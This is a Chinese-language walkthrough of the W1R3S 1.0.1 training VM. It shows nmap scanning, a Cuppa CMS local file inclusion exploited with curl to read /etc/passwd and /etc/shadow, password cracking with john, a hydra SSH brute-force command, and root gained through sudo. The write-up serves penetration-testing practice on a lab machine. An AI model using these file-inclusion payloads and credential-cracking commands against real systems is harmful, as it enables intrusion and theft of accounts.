W1R3S: 1.0.1
easyNo.12
目标: They have asked you to gain root access and find the flag (located in /root directory).
提示: This is a vulnerable Ubuntu box.
妙妙工具:
python -c 'import pty; pty.spawn("/bin/bash")'
环境配置
- kali: 192.168.110.130
- target: 192.168.110.135
信息收集
nmap
nmap -sS 192.168.110.0/24
nmap -sn 192.168.110.0/24
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
3306/tcp open mysql21/ftp
先看看ftp, 发现存在匿名登录. 上去将所有的txt文件都下载下来
分析文件, 有个md5值, 放到网上解出来是"This is not a password", pass. 还有一个base64字符串, 试试解码, 发现也没用
然后是员工列表, 有经理, IT, web设计等. 结合职务猜测可能存在的权限和可能获得的数据
倒过来看最后一个, "我不认为这是获取root的方式", 暗示ftp这个地方就是无用的, 那就拉倒了
3306/mysql
没有密码, 同时测试后发现不允许被登录, 暂时放弃
80/http
目录扫描, 发现存在wordpress和一个installation界面? 用于安装Cuppa CMS.
[08:05:48] 302 - 7KB - /administrator/
[08:06:07] 301 - 0B - /wordpress/
[08:06:08] 200 - 1KB - /wordpress/wp-login.php发现访问wordpress后自动跳转https://192.168.110.130/wordpress/, 奇怪
尝试修改/etc/host文件, 使得localhost指向192.168.110.135(其实就是绑定域名). 然后失败了, 似乎kali不允许用户调整localhost指向非本机ip, 先放在一边
来看看Cuppa CMS这个安装界面, 我们没有数据库密码, 同时也不知道数据库有什么东西, 只能看看有什么了.

尝试安装, 但是他说管理员用户创建失败, 那这里也走不通
尝试搜索有没有可以利用的漏洞, 只有一条, 那就拿下来
searchsploit cuppa
locate php/webapps/25971.txt
cp /usr/share/exploitdb/exploits/php/webapps/25971.txt ~/Desktop/working打开来看, 大概意思是在特定文件的22行有一段代码产生了文件包含的漏洞, 攻击这个可以利用这个去包含本地或远程的php文件, 或者读取非php文件
然后是给的一些示例, 比如获取/etc/passwd, 可以读取Configuration.php等等
先确认是否存在这个漏洞, 给的payload如下:
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd结合靶机, 稍微修改一下payload. 原payload测试后是没有反应的, 猜测安装到的是administrator路径, 成功
http://192.168.110.135/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
结合图片, 发现没有得到预期输出/etc/passwd. 这里有两个方法: 一个是模糊测试, 更换一些参数/传参方式尝试利用 / 绕过一些限制. 另一个是找到对应版本或临近版本的源码进行代码审计
这边选择了上网寻找cuppa cms的源码: github-CuppaCMS
搜索过程中还找到例如Cuppa CMS v1.0的RCE
CVE-2022-37190, SQL注入CVE-2022-24266, 我们找到的这个txt文件说是2013.6.4, 但是还找到一个本地文件包含CVE-2022-25486
根据txt给出的路径顺利找到文件, 发现原来的第22行编程的第77行的
<?php include "../components/table_manager/fields/config/".@$cuppa->POST("urlConfig"); ?>显然没有过滤, 只不过是更换传参方式为POST, 所以这个肯定存在文件包含
尝试利用curl传参, 让我试试curl(当然还可以利用hackbar之类的直接传). 然后成功获取内容
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.110.135/administrator/alerts/alertConfigField.php
获取/etc/shadow, 然后利用john对密码哈希值进行爆破, 成功爆破两条
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://192.168.110.135/administrator/alerts/alertConfigField.php
# 直接将shadow中有哈希值的用户名储存然后交给john
john shadow.txt
# w1r3s : computer
# www-data : www-datagetshell
肯定是w1r3s账户的权限更高. ssh连接w1r3s, 成功登录
信息收集
# 系统信息 Linux W1R3S 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
uname -a
# 内核版本 4.13.0-36-generic 内核比较难提权
uname -r
# 查看发行版的信息 Ubuntu 16.04.3 LTS
lsb_release -a
# 查看环境
python -h
nc -h
gcc -v
# 查看权限, 有所有地方的sudo权限
sudo -l
不知道为什么执行sudo会卡非常久, 下面的提权也一样
提权
存在所有地方的sudo权限, 那就已经结束了
sudo /bin/bash在/root目录下有flag.txt文件
附录
视频解析一定要看, 虽然长度为一个小时: 「红队笔记」靶机精讲:W1R3S 1.0.1 - 渗透测试思路为王,细节多到即使对于纯萌新也能无感入圈
22/ssh
尝试直接爆破. 从/etc/passwd获取用户名之后, 构造字典或结合已有字典进行爆破
也可以利用从ftp中获取的用户/网站名构造用户名字典. 思路为: 大小写, 可能有权限的用户, 一些可能的字符串等等
hydra -l user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.110.135跑肯定是成功的, 毕竟已经解出来过了
关于搜索到的漏洞
CVE-2022-37190: 经过身份验证的用户可以从/api/index.php控制两个参数, 可惜我们没有登录
CVE-2022-24266: 在/administrator/components/table_manager/中通过order_by参数发现一个 SQL时间盲注漏洞, 没试出来
CVE-2022-25486: 这个才是我们刚才用于本地文件包含的漏洞, 和发现的那个txt不同的点就是一个是GET一个是POST
除了这个还想还有一个地方可以进行文件包含/alerts/alertLightbox.php, 经过测试同样是成功包含到/etc/passwd
curl --data-urlencode 'url=../../../../../../../../../../../etc/passwd' http://192.168.110.135/administrator/alerts/alertLightbox.php